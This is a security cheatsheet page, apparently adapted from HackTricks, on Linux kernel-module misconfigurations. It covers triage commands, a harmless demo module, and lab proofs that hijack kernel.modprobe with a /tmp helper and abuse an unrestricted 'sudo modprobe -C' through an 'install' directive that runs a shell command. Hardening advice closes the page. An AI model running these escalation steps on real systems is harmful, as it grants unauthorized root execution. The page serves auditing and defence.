daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

kernel-modules-and-modprobe.md (14513B)


      1 ---
      2 title: "Kernel Modules and modprobe Abuse"
      3 section: "Linux"
      4 sectionSlug: "linux-hardening"
      5 sourcePath: "src/linux-hardening/main-system-information/kernel-modules-and-modprobe.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/linux-hardening/main-system-information/kernel-modules-and-modprobe.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # Kernel Modules and modprobe Abuse
     14 
     15 ## Kernel module and module-loading misconfigurations
     16 
     17 Kernel module support is a high-impact area during Linux privilege escalation review. Do not treat every unsigned-module message as exploitable by itself, but use it to answer practical questions.<sup>[[1]](#references)[[2]](#references)[[3]](#references)[[8]](#references)[[9]](#references)[[10]](#references)</sup>
     18 
     19 - Can the current user load modules through `sudo`, capabilities, or a writable helper path?
     20 - Is module loading still enabled?
     21 - Is module signature enforcement disabled?
     22 - Are module directories, module files, or `modprobe.d` configuration paths writable?<sup>[[16]](#references)</sup>
     23 - Can kernel logs be read to confirm what happened?
     24 
     25 Quick triage starts with the following module-status, signature, logging, and module-tree checks.<sup>[[1]](#references)[[2]](#references)[[6]](#references)[[8]](#references)</sup>
     26 
     27 ```bash
     28 uname -a
     29 uname -r
     30 cat /proc/sys/kernel/modules_disabled 2>/dev/null
     31 grep -Eo '(^| )module\.sig_enforce(=[^ ]*)?' /proc/cmdline 2>/dev/null
     32 grep -E '^(CONFIG_STATIC_USERMODEHELPER|CONFIG_STATIC_USERMODEHELPER_PATH)=' "/boot/config-$(uname -r)" 2>/dev/null
     33 grep -E '^(CONFIG_MODULE_SIG|CONFIG_MODULE_SIG_FORCE)=' "/boot/config-$(uname -r)" 2>/dev/null
     34 cat /proc/sys/kernel/dmesg_restrict 2>/dev/null
     35 dmesg 2>/dev/null | grep -Ei 'module|signature|taint|verification'
     36 find /lib/modules/$(uname -r) -type d -writable -ls 2>/dev/null
     37 find /lib/modules/$(uname -r) -type f -name '*.ko*' -writable -ls 2>/dev/null
     38 ```
     39 
     40 Interpretation:
     41 
     42 - `modules_disabled=1` means modules can be neither loaded nor unloaded, and the value cannot be reset to `0` until reboot.<sup>[[1]](#references)</sup>
     43 - `module.sig_enforce=1` on the kernel command line or `CONFIG_MODULE_SIG_FORCE=y` requires validly signed modules; otherwise, unsigned modules may load and taint the kernel.<sup>[[2]](#references)</sup>
     44 - `dmesg_restrict=0` imposes no restriction on `dmesg`; when it is `1`, access requires `CAP_SYSLOG`.<sup>[[1]](#references)</sup>
     45 - Writable paths under `/lib/modules/$(uname -r)/` are dangerous because `modprobe` searches that tree and its dependency data when loading modules.<sup>[[8]](#references)</sup>
     46 
     47 ### Loading a module and reading kernel output
     48 
     49 If you have legitimate permission to load a local module, `insmod` inserts the exact `.ko` file you provide. The module's init function runs as part of the load, and messages written with `printk()` go to the kernel log buffer, which is normally read with `dmesg`.<sup>[[3]](#references)[[4]](#references)[[5]](#references)[[6]](#references)</sup>
     50 
     51 A minimal review workflow uses `modinfo` to inspect metadata, `insmod` and `rmmod` to load and remove a module, `lsmod` to confirm loaded state, and `dmesg` to inspect kernel logs.<sup>[[4]](#references)[[6]](#references)[[12]](#references)[[13]](#references)[[14]](#references)</sup>
     52 
     53 ```bash
     54 ls -l ./example.ko
     55 modinfo ./example.ko 2>/dev/null
     56 sudo insmod ./example.ko
     57 lsmod | grep -i example
     58 dmesg | tail -n 30
     59 sudo rmmod example
     60 dmesg | tail -n 30
     61 ```
     62 
     63 If `sudo -l` allows `insmod`, `modprobe`, or a wrapper around them, treat it as critical: `sudo -l` lists the invoking user's privileges, and loading a kernel module requires `CAP_SYS_MODULE`. See [Linux capabilities](/hacktricks/linux-hardening/interesting-files-permissions/linux-capabilities#cap_sys_module) for direct capability-based paths.<sup>[[3]](#references)[[9]](#references)[[10]](#references)</sup>
     64 
     65 ```bash
     66 sudo -l
     67 sudo /sbin/insmod ./example.ko
     68 ```
     69 
     70 ### Sudo-allowed `insmod`
     71 
     72 A sudo rule that allows a user to run `insmod` is not comparable to allowing a normal administrative helper. The module's initialization code runs as part of insertion, so the practical review question is whether this user can choose or modify the module being loaded.<sup>[[3]](#references)</sup>
     73 
     74 The following generic review flow repeats those inspection, load, state, log, and removal checks for a candidate module.<sup>[[4]](#references)[[6]](#references)[[12]](#references)[[13]](#references)[[14]](#references)</sup>
     75 
     76 ```bash
     77 sudo -l
     78 ls -l ./candidate.ko
     79 modinfo ./candidate.ko 2>/dev/null
     80 sudo /sbin/insmod ./candidate.ko
     81 lsmod | grep -i candidate
     82 dmesg | tail -n 30
     83 sudo /sbin/rmmod candidate
     84 ```
     85 
     86 If the user can provide an arbitrary `.ko`, the rule should be treated as full system compromise in an authorized assessment. A safer operational pattern is to avoid delegating module loading through sudo; if it is unavoidable, restrict the exact path, ownership, permissions, signing policy, and removal workflow.<sup>[[3]](#references)[[10]](#references)</sup>
     87 
     88 For a harmless module-building pattern in a controlled lab, a minimal source and Makefile are shown below; the `make -C /lib/modules/$(uname -r)/build M=$PWD` form follows the kernel's documented kbuild workflow for external modules.<sup>[[5]](#references)[[7]](#references)</sup>
     89 
     90 ```c
     91 #include <linux/module.h>
     92 #include <linux/kernel.h>
     93 
     94 static int __init demo_init(void) {
     95     printk(KERN_INFO "demo module loaded\n");
     96     return 0;
     97 }
     98 
     99 static void __exit demo_exit(void) {
    100     printk(KERN_INFO "demo module unloaded\n");
    101 }
    102 
    103 module_init(demo_init);
    104 module_exit(demo_exit);
    105 MODULE_LICENSE("GPL");
    106 ```
    107 
    108 ```makefile
    109 obj-m += demo.o
    110 
    111 all:
    112 	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
    113 
    114 clean:
    115 	make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
    116 ```
    117 
    118 Build and load only in an authorized lab; kbuild builds the external module and the load/remove commands invoke the kernel module interfaces.<sup>[[3]](#references)[[4]](#references)[[5]](#references)[[7]](#references)</sup>
    119 
    120 ```bash
    121 make
    122 sudo insmod demo.ko
    123 dmesg | tail -n 20
    124 sudo rmmod demo
    125 ```
    126 
    127 ### `kernel.modprobe` / `modprobe_path` abuse checks
    128 
    129 `kernel.modprobe` names the userspace helper the kernel executes for module autoload requests; this sysctl affects autoloading, not explicit module insertion. If an attacker can change it to a writable executable path and trigger a module request, that helper becomes a privileged code-execution path. Setting it to the empty string disables autoload requests; if `CONFIG_STATIC_USERMODEHELPER=y`, a non-empty value is overridden by the compiled-in static helper path.<sup>[[1]](#references)</sup>
    130 
    131 Check the current helper path through the kernel sysctl interface and inspect the target's ownership and mode.<sup>[[1]](#references)</sup>
    132 
    133 ```bash
    134 cat /proc/sys/kernel/modprobe 2>/dev/null
    135 sysctl kernel.modprobe 2>/dev/null
    136 ls -l "$(cat /proc/sys/kernel/modprobe 2>/dev/null)" 2>/dev/null
    137 ```
    138 
    139 Check whether the sysctl, delegated sudo rules, or file capabilities can be influenced.<sup>[[1]](#references)[[9]](#references)[[10]](#references)[[15]](#references)</sup>
    140 
    141 ```bash
    142 ls -l /proc/sys/kernel/modprobe
    143 sudo -l | grep -E 'sysctl|tee|bash|sh|modprobe'
    144 getcap -r / 2>/dev/null | grep -E 'cap_sys_admin|cap_sys_module'
    145 ```
    146 
    147 The following lab-only pattern changes the helper path and triggers a documented module-autoload request; use it only on an isolated, authorized system.<sup>[[1]](#references)</sup>
    148 
    149 On current Linux kernels, do not use an unknown executable as a generic trigger: legacy custom binary-format module autoloading was removed in Linux 6.14, while the kernel documentation identifies an unknown filesystem type as a module-autoload request path.<sup>[[1]](#references)[[11]](#references)</sup>
    150 
    151 ```bash
    152 # Example only: requires permission to write kernel.modprobe
    153 printf '#!/bin/sh\nid > /tmp/modprobe-helper-ran\n' > /tmp/helper
    154 chmod +x /tmp/helper
    155 echo /tmp/helper | sudo tee /proc/sys/kernel/modprobe
    156 
    157 # Trigger a documented module-autoload request (requires mount privilege)
    158 sudo mount -t definitely-not-a-filesystem none /mnt 2>/dev/null || true
    159 cat /tmp/modprobe-helper-ran 2>/dev/null
    160 ```
    161 
    162 On hardened systems, this should fail when permissions prevent unprivileged writes to `kernel.modprobe`, the helper path is not writable, or module autoloading is disabled.<sup>[[1]](#references)</sup>
    163 
    164 ### Writable `modprobe.d` configuration and `sudo modprobe -C`
    165 
    166 Before resolving a module, `modprobe` reads `.conf` files from configuration directories such as `/etc/modprobe.d`, `/run/modprobe.d`, `/usr/local/lib/modprobe.d`, `/usr/lib/modprobe.d`, and `/lib/modprobe.d`, in precedence order. A same-named file in a higher-priority directory shadows the lower-priority file. More importantly, an `install <module> <command>` directive runs an arbitrary shell command **instead of** inserting that module. Therefore, a writable configuration path can become delayed command execution under the credentials of a later privileged `modprobe` caller; kernel module signature enforcement does not authenticate this userspace command.<sup>[[16]](#references)</sup>
    167 
    168 Audit directory and file permissions, then inspect the effective configuration. `modprobe -n -v` is safe for resolution review because dry-run mode neither inserts the module nor executes an `install`/`remove` command. Prefer `modprobe -c` over the legacy `--showconfig` spelling, which current kmod documentation marks for removal after kmod 36.<sup>[[8]](#references)[[16]](#references)</sup>
    169 
    170 ```bash
    171 for d in /etc/modprobe.d /run/modprobe.d /usr/local/lib/modprobe.d /usr/lib/modprobe.d /lib/modprobe.d; do
    172     [ -e "$d" ] || continue
    173     find "$d" -maxdepth 1 -writable -ls 2>/dev/null
    174 done
    175 
    176 grep -RHE '^[[:space:]]*(install|remove|alias|blacklist)[[:space:]]' \
    177   /etc/modprobe.d /run/modprobe.d /usr/local/lib/modprobe.d \
    178   /usr/lib/modprobe.d /lib/modprobe.d 2>/dev/null
    179 modprobe -c 2>/dev/null | grep -E '^(install|remove|alias|blacklist)[[:space:]]'
    180 modprobe -n -v <module_name>
    181 ```
    182 
    183 An unrestricted sudo rule for `modprobe` is exploitable even when arbitrary `.ko` files cannot pass signature verification: `-C` selects an attacker-controlled configuration directory, from which an `install` command can be executed by the sudo-launched process.<sup>[[8]](#references)[[16]](#references)</sup>
    184 
    185 ```bash
    186 # Authorized lab proof for an unrestricted `sudo modprobe` rule
    187 D="$(mktemp -d)"
    188 printf '%s\n' 'install ht_probe /bin/sh -c "id > /tmp/ht-modprobe-id"' > "$D/00-ht.conf"
    189 sudo /sbin/modprobe -C "$D" ht_probe
    190 cat /tmp/ht-modprobe-id
    191 ```
    192 
    193 For mitigation, do not grant argument-unrestricted `modprobe` through sudo, keep every configuration directory root-owned and non-writable, and review unexpected `install`/`remove` directives. When a trusted administrative workflow must bypass such directives for one module, `modprobe --ignore-install` ignores them for that named module, but dependencies can still have their own commands.<sup>[[8]](#references)[[16]](#references)</sup>
    194 
    195 ### Writable `/lib/modules` review
    196 
    197 Writable module directories can allow module replacement, malicious module planting, or auto-load abuse depending on how `modprobe` is later invoked; `modprobe` searches `/lib/modules/$(uname -r)` and uses its dependency data when resolving modules.<sup>[[8]](#references)</sup>
    198 
    199 Review writable module files and dependency/alias metadata under the active kernel release's module tree.<sup>[[8]](#references)</sup>
    200 
    201 ```bash
    202 KREL="$(uname -r)"
    203 find "/lib/modules/$KREL" -type d -writable -ls 2>/dev/null
    204 find "/lib/modules/$KREL" -type f -name '*.ko*' -writable -ls 2>/dev/null
    205 find "/lib/modules/$KREL" -type f \( -name 'modules.dep' -o -name 'modules.alias' -o -name 'modules.order' \) -writable -ls 2>/dev/null
    206 ```
    207 
    208 If you find writable module content, inspect how `modprobe` resolves dependencies and how `modinfo` reports module metadata.<sup>[[8]](#references)[[12]](#references)</sup>
    209 
    210 ```bash
    211 modprobe --show-depends <module_name> 2>/dev/null
    212 modinfo <module_name> 2>/dev/null
    213 grep -R "<module_name>" /lib/modules/$(uname -r)/modules.* 2>/dev/null
    214 ```
    215 
    216 Defensive notes:
    217 
    218 - Keep `/lib/modules` owned by `root:root` and non-writable by users.<sup>[[8]](#references)</sup>
    219 - Set `kernel.modules_disabled=1` after boot where operationally possible.<sup>[[1]](#references)</sup>
    220 - Enforce module signing on systems that require loadable modules.<sup>[[2]](#references)</sup>
    221 - Monitor writes to `/proc/sys/kernel/modprobe`, `/lib/modules`, and the `modprobe.d` configuration directories, plus unexpected `insmod`/`modprobe` execution.<sup>[[1]](#references)[[8]](#references)[[16]](#references)</sup>
    222 
    223 
    224 ## References
    225 
    226 - [1] [Documentation for /proc/sys/kernel/ — The Linux Kernel documentation](https://docs.kernel.org/admin-guide/sysctl/kernel.html)
    227 - [2] [Kernel module signing facility — The Linux Kernel documentation](https://www.kernel.org/doc/html/latest/admin-guide/module-signing.html)
    228 - [3] [init_module(2) — Linux manual page](https://man7.org/linux/man-pages/man2/init_module.2.html)
    229 - [4] [insmod(8) — Linux manual page](https://man7.org/linux/man-pages/man8/insmod.8.html)
    230 - [5] [Driver Basics — The Linux Kernel documentation](https://docs.kernel.org/driver-api/basics.html)
    231 - [6] [Message logging with printk — The Linux Kernel documentation](https://docs.kernel.org/core-api/printk-basics.html)
    232 - [7] [Building External Modules — The Linux Kernel documentation](https://docs.kernel.org/kbuild/modules.html)
    233 - [8] [modprobe(8) — Linux manual page](https://man7.org/linux/man-pages/man8/modprobe.8.html)
    234 - [9] [sudo(8) — Linux manual page](https://man7.org/linux/man-pages/man8/sudo.8.html)
    235 - [10] [capabilities(7) — Linux manual page](https://man7.org/linux/man-pages/man7/capabilities.7.html)
    236 - [11] [Merge tag 'execve-v6.14-rc1' — torvalds/linux](https://github.com/torvalds/linux/commit/fadc3ed9ce1cd9ecc5c8be8875f7ec11ab3a7ebe)
    237 - [12] [modinfo(8) — Linux manual page](https://man7.org/linux/man-pages/man8/modinfo.8.html)
    238 - [13] [lsmod(8) — Linux manual page](https://man7.org/linux/man-pages/man8/lsmod.8.html)
    239 - [14] [rmmod(8) — Linux manual page](https://man7.org/linux/man-pages/man8/rmmod.8.html)
    240 - [15] [getcap(8) — Linux manual page](https://man7.org/linux/man-pages/man8/getcap.8.html)
    241 - [16] [modprobe.d(5) — Linux manual page](https://man7.org/linux/man-pages/man5/modprobe.d.5.html)